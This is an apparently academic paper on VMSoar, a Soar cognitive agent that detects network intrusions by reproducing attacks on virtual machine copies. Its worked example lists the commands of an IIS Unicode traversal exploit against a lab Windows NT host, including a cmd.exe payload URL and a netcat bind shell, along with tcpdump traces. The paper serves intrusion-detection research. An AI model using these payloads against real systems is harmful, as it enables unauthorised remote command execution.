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Abstract - The VMSoar project at Pace University is 

building a cognitive agent for cybersecurity. The project's 
objective is to create an intelligent agent that can model and 
understand the activities of users who are on the network, and 
that can communicate with network administrators in English 
to alert them to illegal or suspicious activities. VMSoar can 
understand users' activities because it is capable of performing 
these activities itself. It knows how to perform both legal and 
illegal activities, and uses this knowledge to explore simulations 
of the activity on a network. It can also probe information 
stored on a machine to assess the legality of past activity. 
Research in cybersecurity is difficult is due to the extremely 
large amount of data that must be analyzed to detect illegal 
activities. In addition, new exploits are developed frequently. 
Most current projects in this area are attempting to build some 
level of intelligence into their systems; however, those projects 
are focusing primarily on statistical data mining approaches. 
The VMSoar project is unique in its approach to building an 
intelligent security agent. The VMSoar agent is based on Soar, 
a mature cognitive architecture that is used in universities and 
corporations around the world. 
 
 

I. INTRODUCTION 
 
Modern computer systems are complex and composed of 

a variety of processing platforms and network technologies. 
In addition, systems change continually; both their hardware 
and software configurations can change on a daily basis. 
This complexity and change help to make it extremely 
difficult to distinguish legal changes from illegal changes. 
In addition, intruders are extremely good at covering their 
tracks, so that effective defense requires both the ability to 
understand how various activities affect a computer or 
network, and a large base of practical experience with actual 
intrusions and their effects. In short, cybersecurity requires 
human-level analytical ability. 

Our research project is implementing a cognitive agent 
for cybersecurity. Our goal is to create a comprehensive 
intelligent agent that can understand a wide range of legal 
and illegal activities because it can perform these activities 
itself, and that can learn from experience with actual 
intrusions. Such an agent can function as an intelligent 
assistant for human experts, or potentially could function 
autonomously when no human expert is available. 

Automatic vulnerability assessment and intrusion 
detection are complex and time-consuming tasks. 

Vulnerability assessment usually consists of testing of a 
machine’s profile against a database of known 
vulnerabilities to ensure that patches have been applied. 
This approach lacks the ability to discover weaknesses in 
the configuration of a specific machine or network. Human 
vulnerability assessment experts can tailor their 
investigations to a specific configuration, but automatic 
assessments cannot. 

Intrusion detection is often compared to finding a needle 
in a haystack. Extremely large amounts of data are 
generated by network monitoring utilities, and the goal of 
the intrusion detection system is to identify illegal activities 
that often are identifiable only by a few anomalous packets. 

Researchers have begun to try to apply artificial 
intelligence techniques to them. For example, expert system 
and machine learning approaches in intrusion detection have 
been attempted with some success [3,8,11], but although a 
wide variety of approaches have been tried [2,14], there has 
been no comprehensive effort that we know of that uses 
human-level reasoning and learning capabilities to construct 
intelligent vulnerability assessment or intrusion detection 
systems. 

Our approach is to use a general cognitive architecture 
that has exhibited human-level performance on a wide range 
of tasks. Over the past twenty years, the cognitive science 
community has developed a number of successful unified 
cognitive models, including Soar, ACT-R, and EPIC. These 
models represent comprehensive theories of cognitive 
structures based on decades of psychological 
experimentation, and have been developed specifically to 
model human performance on a wide range of tasks. The 
models are evaluated based on the degree to which they fit 
human performance data on these tasks, and have been 
successful on a wide range of tasks, including mathematical 
problem solving, spatial reasoning and navigation, language 
learning, visual search, driving vehicles and game playing. 
This successful track record demonstrates the power of the 
cognitive structures in these models. The VMSoar project is 
using these cognitive structures to construct an agent with 
human-like reasoning and communication abilities. 

The cognitive architecture that we use is Soar [10], 
originally developed at Carnegie-Mellon University and 
now in use at many universities and corporations. Soar 
integrates a number of cognitive capabilities, including 
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natural language [12], learning [10], real-time response [16], 
emotion [13] and concept learning [15]. It has been applied 
to such diverse tasks as tactical air warfare [18] and robotics 
[4], both of which are real-time tasks involving large 
amounts of data, similar to network intrusion detection. 

We have connected Soar to VMWare 
(http://www.vmware.com) so that it can create virtual copies 
of an actual network and explore how different events 
would cause the network to evolve. For example, Soar can 
perceive activity on the network, hypothesize that an 
attacker is in the system, simulate possible actions of the 
attacker, then compare the actual network to the predicted 
network to verify or reject the hypothesis. As it gains 
experience, Soar’s learning mechanism enables it to predict 
the presence of intruders with greater speed and accuracy. 

We are currently teaching Soar how to attack networks 
and individual machines. We are porting known attacks into 
Soar, so that it can learn to attack a server and break into a 
network. This is necessary for Soar to be able to learn to 
assess the vulnerabilities of the target machine, and also for 
Soar to generate network packets that identify illegal 
network use, so that it can learn to detect intruders. Soar is 
connected to tcpdump so that it can examine the network 
activity and learn concepts that describe illegal activities. 

Our research objective is for VMSoar to be able to 
understand a variety of attacks, so that it can both probe 
machines to detect anomalies and infer the attacks 
associated with these attacks. VMSoar must be able to 
identify, retrieve and organize the relevant data for an 
attack, which may comprise millions of files and log entries. 
To accomplish this objective, we are working to extend 
VMSoar's knowledge of both legal and illegal activities. 

This objective is a significant one, as it opens a 
completely new avenue of research into network security. 
Current systems consist of individual tools that can perform 
some of the relevant tasks, e.g. collecting data from disks. 
But they do not combine the ability to reason about activity 
on the computer with the ability to learn and the ability to 
communicate and explain what they see and do. By using a 
mature cognitive architecture as the basis for our network 
agent, we are leveraging its comprehensive cognitive 
abilities to reason, learn and communicate. These abilities 
will permit VMSoar to potentially achieve a level of 
performance far superior to existing systems, and provide a 
much higher level of security. 

Another advantage of the VMSoar approach is that it can 
potentially investigate incidents that combine multiple 
attacks. Soar's searching capability enables it to search 
among possible ways to combine legal and illegal activities, 
comparing each combination's effects to the observed 
effects to find the closest fit. 

 
II. PREVIOUS WORK 

 
A great deal of research and development is currently 

focused on intrusion detection systems [2,14]. Most of these 

systems are based on misuse detection: matching packets 
against a set of patterns that correspond to illegal activities. 
If a pattern matches, then an alert is signaled to the system 
administrator. Most deployed systems are based on patterns 
that are hand crafted; the Snort system is an excellent 
example of this approach. Very few systems attempt 
anomaly detection, in which normal behavior is 
characterized so that deviations from that behavior are 
flagged. 

Another approach is to use data mining techniques to 
learn patterns from data [11]. This requires someone to 
generate packet streams that are labeled by a human to be 
either legal or illegal. These streams are analyzed by 
machine learning algorithms to produce patterns that 
classify new packets. This approach has had some success 
on a very small class of intrusions. 

One problem that both approaches face is that attackers 
have intrusion detection systems for testing their attacks. 
They craft their attacks to appear as indistinguishable as 
possible from legitimate activities. Thus, it is extremely 
difficult to find patterns that discriminate between legitimate 
activities and illegitimate ones. This is true both of hand-
written patterns and those learned by machine learning 
algorithms. And these patterns are brittle, i.e. even a small 
variation in an attack can render the patterns inapplicable. 
Designers of intrusion detection systems have chosen to err 
on the side of caution, so they make their patterns overly 
general to catch all intruders; however, this generates a high 
number of false positives. False positives are detrimental to 
system operation, and a high number of them undermines 
the security process by wasting system resources examining 
legal activities. 

Also, these intrusion detection systems cannot handle 
novel attacks, which leads to false negatives. If an attacker 
devises a new attack, which may be just a minor variant of 
an existing attack, it is unlikely that deployed intrusion 
detection systems will detect the attack. A significant delay 
occurs, during which the attack succeeds on a number of 
computing systems, is subsequently detected by humans, 
and new patterns are added to the intrusion detection 
systems. This process is time consuming, and thus 
condemns a large number of computers to fall victim to the 
novel attack. 

Furthermore, existing intrusion detection systems cannot 
provide explanations of the packet stream to the system 
administrators. The patterns either match or don't match. 
There is no possibility of a dialogue between the human and 
the intrusion detection system about the network activity, 
because the intrusion detection system possesses no 
understanding of that activity; it has no models of the 
humans using the network. It just matches patterns, and the 
human administrator must dig into the entire packet stream 
at a very low level to try to unearth the relevant details and 
come to an understanding of the network activity. This is 
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also very time consuming, and makes it very difficult to 
catch intruders in real time. 

Other approaches in the security research community 
include automatic patch generation [5,6], automatic 
detection of exploits [1,9,20], and "inoculation" of systems 
against exploits [19]. These approaches are interesting and 
promising; however, each of them is designed to focus on a 
single type of exploit, such as network worms or buffer 
overflow exploits, and tend to be limited to protection 
against known exploits. Given that new exploits are 
designed very quickly after vulnerabilities are found, and 
that there is a delay between the spread of an exploit and the 
design of a patch for it, there is a pressing need for a real-
time intrusion detection tool that can handle a wide range of 
exploits, and that has the potential to find new exploits on 
its own. 

VMSoar does something completely new: it learns to 
understand and distinguish legal and illegal activities by 
knowing how to carry them out. It possesses knowledge 
about activities on computer systems, and can use that 
knowledge to build models of user activities in real time. 
This permits an integrated approach to both misuse 
detection and anomaly detection, and allows the possibility 
of discovering new exploits before they are known to the 
hacker community. This is a completely new research 
project; we have received no prior funding support from the 
NSF or other agencies for VMSoar. 

VMSoar is based on the Soar cognitive architecture. In 
the next section, we give a basic exposition of Soar. In the 
subsequent sections, we describe the structure of VMSoar, 
and its application to vulnerability assessment and intrusion 
detection in Windows NT and XP. 

 
III. THE SOAR COGNITIVE ARCHITECTURE 

 

Soar is a unified cognitive architecture [17] originally 
developed at Carnegie-Mellon University and undergoing 
continuing development at a number of locations, including 
the University of Michigan and the Information Sciences 
Institute at the University of Southern California, as well as 
multiple locations in Europe. As a unified cognitive 
architecture, Soar exhibits a wide range of capabilities, 
including learning to solve problems from experience, 
concept learning, use of natural language, and the ability to 
handle complex tasks. 

Declarative knowledge in Soar resides in its working 
memory, which contains all the facts Soar knows at any 
instant. Procedural knowledge in Soar is represented as 
operators, which are organized into problem spaces. Each 
problem space contains the operators relevant to interacting 
with some aspect of the system's environment. In our 
system, some problem spaces contain operators describing 
the actions of VMSoar, such as executing a particular 
exploit. Other problem spaces contain operators that interact 
with the network, or analyze packets to construct user plans, 

or classify plans according to user goals. At each step, Soar 
must choose one operator to execute. This operator will alter 
VMSoar’s memory or interact with the network. 

The problem-solving mechanism in Soar is universal 
subgoaling: every time there is choice of two or more 
operators, Soar creates a subgoal of deciding which to 
select, and brings the entire knowledge of the system to bear 
on solving this subgoal by selecting a problem space and 
beginning to search. This search can itself encounter 
situations in which two or more operators can fire, which in 
turn causes subgoals to be created, etc. When an operator is 
chosen, the corresponding subgoal has been solved and the 
entire solution process is summarized in a new operator, 
called a chunk, which contains the general conditions 
necessary for that operator to be chosen. This operator is 
added to the system, so that in similar future situations the 
search can be avoided. In this way, Soar learns. 

The Soar publications extensively document how this 
learning method speeds up the system's response time in a 
manner that accurately models the speedup of human 
subjects on the same tasks. 
 

IV. LEARNING TO DETECT INTRUDERS BY LEARNING TO 
ATTACK VULNERABILITIES 

 
VMSoar’s approach to network security is based on the 

work of Green & Lehman [7], who used Soar to model 
discourse planning in natural language. Their goal was a 
computational model of discourse, in which Soar would 
interact with a human using English. In their task, Soar had 
to do two things: construct an explanation of an incoming 
utterance and generate an appropriate response. Their 
approach was to use “explanation based on generation”, in 
which Soar would construct an explanation for the incoming 
utterance by attempting to generate a similar utterance on its 
own. Soar would search among possible combinations of 
goals, knowledge and expectations to try to generate this 
utterance, and when it succeeded in matching the utterance 
it assumed the human’s goals, knowledge and expectations 
were those it had found. This gave Soar an understanding of 
the person it was conversing with, so that Soar could choose 
appropriate goals for generating a response. Soar also 
formed a chunk for this search, so that a similar utterance in 
the future would be understood in one step. 

For example, if the discourse were about cooking and 
the incoming utterance were, "Turn the flame down." then 
Soar would try to generate that same sentence by 
hypothesizing various combinations of goals and 
knowledge. One combination that works is the knowledge 
that a high flame cooks food faster and the goal is to cook it 
slowly. If Soar found this combination, then it would 
assume the speaker has this same combination of knowledge 
and goal. This approach requires Soar to have knowledge 
about cooking, so that it can search that knowledge. 

VMSoar combines vulnerability assessment and 
intrusion detection in the same way. The utterances are the 
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packets on a network. VMSoar constructs a model of the 
behavior of the user generating these packets by trying to 
generate the same packets itself. This approach requires 
VMSoar to possess knowledge about network activities. 

VMSoar performs vulnerability assessment by 
generating attacks against virtual copies of machines, and 
performs intrusion detection by generating possible attacks 
against a simulated copy of itself. While performing 
vulnerability assessment, VMSoar learns how to generate 
various behaviors on the network. These learned behaviors 
are then used during intrusion detection to try to model the 
goals of network users. 

VMSoar has problem spaces that model normal user 
behaviors such as viewing a webpage or downloading a file, 
and problem spaces that model abnormal behaviors such as 
performing a port scan or executing an exploit. VMSoar is 
connected both to a physical local area network (which it 
monitors using tcpdump) and to VMWare, a software 
product that can create a virtual network consisting of 
virtual computers. VMSoar monitors the traffic on the actual 
network and attempts to find an operator that can explain 
the packets it sees originating from a particular remote site 
in terms of a user acting in a particular way. If VMSoar 
succeeds, it adds the user and activity to its model of the 
network (which resides in its working memory). If VMSoar 
fails to find an appropriate operator, then it subgoals. In its 
subgoal, VMSoar creates a virtual copy of the local network 
and repeatedly attempts to replicate the observed activity by 
firing sequences of operators from problem spaces that 
model various user behaviors. VMSoar searches as long as 
it takes to identify an acceptable explanation for the 
observations. This search can be extremely long, but once it 
has found an explanation, VMSoar forms a chunk 
containing the general conditions necessary for this 
explanation, so that in the future this explanation will be 
made in a single step. 

VMSoar thus models intrusion detection as plan 
recognition, by attempting to recognize users’ plans and 
goals so that it can generate expectations about future user 
behavior. This approach is completely different than 
previous attempts to automate learning about intrusion 
detection, e.g. Lee, Park & Stolfo [11], which perform data 
mining and classification of network data without any 
capability to generate alternative data and compare it.  

One of the strengths of this approach is the reduction of 
false positives, which plague typical intrusion detection 
approaches. By actively modeling and reproducing user 
behavior, VMSoar can explain legal network activity that it 
has never seen before, instead of flagging it as illegal. 
 

V. VMSOAR FRAMEWORK DESCRIPTION 
 

VMSoar attempts to define an architecture that is 
scaleable and flexible and can be extended to achieve the 
above vision. 

At a high level, the VMSoar framework can be thought 
of as broken into three major components (see Figure 1 
below). 

• VMware WorkStation Network 
• VMSoar Java Engine 
• VMSoar Rules Engine 

 

 
 

Figure 1. VMSoar Architecture 

 
VI. EXAMPLE: EXPLOITING WINDOWS NT 

 
The VMware WorkStation Network comprises the set of 

virtual machines that make up the virtual network. VMSoar 
will run network commands and attempt to stage an attack 
on this virtual network.  

The VMSoar Java Engine acts as the glue between the 
VMware WorkStation Network and the VMSoar Rules 
Engine. This component comprises the classes that do the 
following major operations: 

• Create and start the VMware machines. 
• Start a VMSoar session and create the VMSoar 

agent. 
• Perform a command on the VMware WorkStation 

Network requested by the agent. 
• Pass data from the VMware WorkStation Network 

back to the agent. 
The VMSoar Rules Engine comprises the Tcl Interpreter, 

Tcl scripts and all the rules that make up the VMSoar agent. 
We describe an exploit that VMSoar is capable of 

launching, and how this capability is also used for intrusion 
detection. The exploit described in this section is based on a 
known vulnerability of Windows NT, the IIS Unicode Bug, 
(http://screamer.mobrien.com/manuals/MPRM_Group/testin
g2.html) 

The VMSoar implementation used in this example 
possesses a number of problem spaces that perform different 
tasks including viewing a webpage, downloading a file and 
launching an exploit against Windows NT. 
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VMSoar launches this exploit from a linux machine. In 
the example below, we use the IP address 192.168.1.15 for 
the NT machine. The exploit consists of five overall steps: 
 
Step 1. VMSoar executes an operator that pings 
192.168.1.15 to determine if a machine is alive at that 
address. If it gets a reply, it creates a working memory 
element saying the IP address is alive. 
 
Step 2. If the IP is alive, then VMSoar executes an operator 
that performs the command: 

nmap -O 192.168.1.15 
 
This does a portscan of the NT machine and returns a list of 
open ports. VMSoar stores these in working memory and 
notices that http port 80 is open, so perhaps it is running a 
websever. VMSoar notices that a netbios port is open, and 
based on the open ports, VMSoar stores a prediction that the 
target OS is a version of Windows. 
 
Step 3. VMSoar executes an operator that performs the 
following command: 

netcat -v -n 192.168.1.15 80 
GET HTTP 

 
This returns the following.... 

 
HTTP/1.1 400 Bad Request 
Server: Microsoft-IIS/4.0 
Date: Thu, 4 Apr 2004 23:23:22 GMT 
Content-Type: text/html 
Content-Length: 87 
<html><head><title>Error</title></head><body>The 
parameter is incorrect. </body></html> sent 2, rcvd 224 

 
VMSoar stores this in working memory. This causes 
operators to fire that recognize Windows NT as the 
operating system, and also that it is running IIS/4.0 on port 
80. 
 
Step 4. VMSoar tries to get a directory listing of the C: 
drive of the NT machine, by executing an operator that 
performs the following command: 

nc -v -n 192.168.1.15 80 
GET 
http://192.168.1.15/scripts/..%255c../winnt/system32
/cmd.exe?/c+dir+c:\ 

 
This returns a directory listing of the C: drive on the NT 
machine. VMSoar executes operators that recognize a 
successful directory listing, and VMSoar stores this fact in 
its working memory. 
 
Step 5. VMSoar executes an operator that performs the 
following command: 

nc -v -n 192.168.1.15 80 
GET 
http://192.168.1.15/scripts/..%255c../winnt/system32/cm
d.exe?//c+nc+-L+-p+10001+-d+-e+cmd.exe 

 
This complex command executes the following command 
on the NT IIS server:  
  

nc -L -p 10001 -d -e cmd.exe 
 
This command starts up netcat on the IIS server, with flags 
that tell Windows not to close netcat, but to wait for 
connections on port 10001, and to run cmd.exe when port 
10001 is connected to. 
 
Step 6. Finally, VMSoar executes an operator that performs 
the following command: 
 

nc -v -n 192.168.1.15 10001 
 

which returns an NT prompt to VMSoar, which can then 
perform any command on the NT box. 
 

Once VMSoar has a problem space to launch this 
exploit, it can detect this vulnerability on NT servers on a 
network. Furthermore, it can use this knowledge to detect 
when an intruder is executing any portion of this exploit. 

For instance, suppose VMSoar is protecting 
192.168.1.15 (the NT machine) and an intruder is attacking 
from another machine, which in the code below will be 
192.168.1.14. When the intruder is executing a SYN port 
scan as part of the above exploit, the following packets can 
appear on the network (this output is from tcpdump): 
 
01:10:23.445709 192.168.1.14.38931 > 192.168.1.15.711: S 
1354789686:1354789686(0) win 5840 <mss 
1460,sackOK,timestamp 8958340 0,nop,wscale 0> (DF) 
01:10:23.445709 192.168.1.14.38932 > 192.168.1.15.3005: 
S 358598610:1358598610(0) win 5840 <mss 
1460,sackOK,timestamp 8958340 0,nop,wscale 0> (DF) 
01:10:23.445709 192.168.1.14.38933 > 192.168.1.15.4500: 
S 359735835:1359735835(0) win 5840 <mss 
1460,sackOK,timestamp 8958340 0,nop,wscale 0> (DF) 
01:10:23.445709 192.168.1.14.38934 > 192.168.1.15.1353: 
S 363526429:1363526429(0) win 5840 <mss 
1460,sackOK,timestamp 8958340 0,nop,wscale 0> (DF) 
01:10:23.445709 192.168.1.15.711 > 192.168.1.14.38931: 
R 0:0(0) ack 1354789687 win 0 
01:10:23.445709 192.168.1.15.3005 > 192.168.1.14.38932: 
R 0:0(0) ack 1358598611 win 0 
01:10:23.445709 192.168.1.15.4500 > 192.168.1.14.38933: 
R 0:0(0) ack 1359735836 win 0 
01:10:23.445709 192.168.1.15.1353 > 192.168.1.14.38934: 
R 0:0(0) ack 1363526430 win 0 
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In this kind of port scan, the attacker finds which ports are 
available (i.e. being listened to by a service). A SYN packet 
is sent (as if we are going to open a connection), and the 
target host responds with a SYN+ACK, this indicates the 
port is listening, and an RST indicates a non-listener. 
Subsequent scan results show that "http" port and "netbios" 
port are listening. 
01:10:23.325709 192.168.1.14.38834 > 192.168.1.15.https: 
S 1354605482:1354605482(0) win 5840 <mss 
1460,sackOK,timestamp 8958328 0,nop,wscale 0> (DF) 
01:10:23.325709 192.168.1.15.https > 192.168.1.14.38834: 
S 1147031:1147031(0) ack 1354605483 win 8760 <mss 
1460> (DF) 
01:10:23.325709 192.168.1.14.38834 > 192.168.1.15.https: 
. ack 1 win 5840 (DF) 
01:10:22.365709 192.168.1.14.38105 > 
192.168.1.15.netbios-ssn: S 1351688221:1351688221(0) 
win 5840 <mss 1460,sackOK,timestamp 8958232 
0,nop,wscale 0> (DF) 
01:10:22.365709 192.168.1.15.netbios-ssn > 
192.168.1.14.38105: S 1146180:1146180(0) ack 
1351688222 win 8760 <mss 1460> (DF) 
01:10:22.365709 192.168.1.14.38105 > 
192.168.1.15.netbios-ssn: . ack 1 win 5840 (DF) 

VMSoar must explain this sequence of packets between 
192.168.1.14 and 192.168.1.15, but initially it has no 
explanation that matches, so it subgoals and attempts to 
recreate this sequence of packets. In the subgoal, VMSoar 
uses VMWare to construct a virtual copy of 192.168.1.15, 
with the same basic (virtual) hardware and the same OS and 
services. In practice, this is done by storing a virtual image 
of every machine on the local network that VMSoar is 
protecting. VMWare just loads the stored image, which is 
considerably faster than creating a new one. 

VMSoar then selects a problem space and executes 
operators in that space. Suppose it selects operators that 
connect legally to a webpage and download it. The packets 
generated will not match the pattern of requests and 
acknowledgements in the above trace, so this problem space 
does not satisfy the subgoal, and a new problem space must 
be selected. 
 
 
 
 
 
 
 
 
 
 
 
 
 

Figure 2. Subgoal tree in Soar. 

 

In this way, VMSoar searches through its stock of 
problem spaces, attempting to generate the observed pattern 
of packets. 

Eventually, it will use a problem space that executes a 
port scan. It could be the space containing the above exploit, 
or any other space for an exploit that executes a similar port 
scan. When the operator that executes the port scan is 
chosen, it will generate the same pattern of requests and 
VMSoar will conclude that 192.168.1.14 is executing a port 
scan. 

VMSoar learns at this point by constructing a chunk (a 
new rule) that summarizes the search that it performed and 
the result. Briefly, Soar forms chunks by tracing back 
through all the facts it examined in the process of its search 
and finding those that led to the result. Soar puts all these 
facts on the left-hand side of a new rule, and puts the result 
of the search on the right-hand side of the new rule. This 
new rule will match any future situation that contains these 
same facts, which in this case will be any situation with the 
same pattern of requests and acknowledgements from one 
machine. Soar will not have to search, but will immediately 
fire this rule and assert that the remote machine is executing 
a port scan. Over time, VMSoar will learn to recognize a 
wide range of user behaviors. 

At this point, VMSoar will know only that 192.168.1.14 
is scanning the ports. As the input from tcpdump continues, 
VMSoar will see the following packets: 
 
01:10:23.485709 192.168.1.14.57996 > 192.168.1.15.http: 
SE 1210652233:1210652233(0) win 2048 <wscale 
10,nop,mss 265,timestamp 1061109567 0,eol> 
01:10:23.485709 192.168.1.14.57997 > 192.168.1.15.http: . 
win 2048 <wscale 10,nop,mss 265,timestamp 1061109567 
0,eol> 
01:10:23.485709 192.168.1.14.57998 > 192.168.1.15.http: 
SFP 1210652233:1210652233(0) win 2048 urg 0 <wscale 
10,nop,mss 265,timestamp 1061109567 0,eol> 
 

This part of the log reflects an invalid combination of 
flags. According to rfc-3186 there are certain combination 
of TCP flags that are considered invalid. In the log there are 
two invalid combinations, such as “SE”, “SFP”. A host must 
not set ECT on SYN or SYN-ACK packets. 

VMSoar is deliberately not programmed with 
knowledge about specific combinations of invalid flags, 
which is the typical approach to intrusion detection, but 
rather must generate the behavior to explain it. As above, 
VMSoar does not initially possess any matching pattern for 
this illegal combination of flags, and performs a search just 
as before through all its problem spaces to find one whose 
operators will generate this pattern. The IIS Unicode exploit 
problem space will eventually be used, and will generate the 
pattern of SE and SFP occurring at exactly the same 
timestamp, and VMSoar will conclude that a user at 
192.168.1.14 is executing this exploit, and notify the system 

. . 

. 

Goal: explain packets 
01:10:23.445709 192.168.1.14.38931 
> 192.168.1.15.71 
01:10:23.445709 192.168.1.14.38932 
> 192.168.1.15.3005: 
. . . 

Subgoal: 
try 
download
ing 
webpage 

Subgoal: 
try 
connecting 
to mail 
server 

Subgoal: 
try 
limewire 
peer-to-
peer 

Subgoal: 
try IIS 
Unicode 
exploit 
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administrator of the attack. VMSoar will also learn a chunk 
summarizing this pattern. 
 

VII. CURRENT AND FUTURE WORK 

 
The previous section provides an example of how 

VMSoar can attack a Windows NT machine. VMSoar 
possesses a number of such exploits for NT, as well as a 
number of problem spaces describing legal activities. We 
have used this platform for developing and testing VMSoar 
because a wide variety of simple exploits are available for 
NT. This work has met with success, as VMSoar can both 
launch exploits and detect these exploits with no false 
positives or negatives. Now that the initial phase of 
development is complete, we are turning our attention to 
Windows XP. 

We are focusing on buffer overflow attacks in XP 
(Service Pack 2). Buffer overflow attacks are an important 
class of exploits, and serve as an excellent test of VMSoar's 
power. We are writing VMSoar problem spaces describing 
the steps that comprise buffer overflow attacks, so that it 
will have general knowledge about buffer overflow attacks. 
Using this knowledge, VMSoar will be able to search for 
new buffer overflow exploits in XP. Our goal is for VMSoar 
both to discover new exploits and to use this knowledge to 
detect attackers launching such exploits. 
 

VIII. SUMMARY 
 

VMSoar is a network security agent that combines 
vulnerability assessment and intrusion detection by 
generating attacks against virtual copies of machines, and 
learns how to associate patterns of network activity with 
illegal user actions. 

VMSoar possesses knowledge about how to carry out 
both legal and illegal activities, and can use this knowledge 
to probe the vulnerabilities of system configurations. This 
vulnerability assessment capability can be used to find flaws 
in operating systems and server software before it is 
shipped, and also used to find flaws in existing system 
configurations, especially as they evolve over time. 

The knowledge that VMSoar possesses about network 
activities also gives it the ability to monitor networks for 
intruders in realtime, by creating a virtual copy of the local 
network and recreating the observed packets. VMSoar's 
learning capability speeds its recognition process, so that it 
can recognize learned attacks in realtime on small local 
networks. We are testing the ability of VMSoar to scale up 
to larger networks. 
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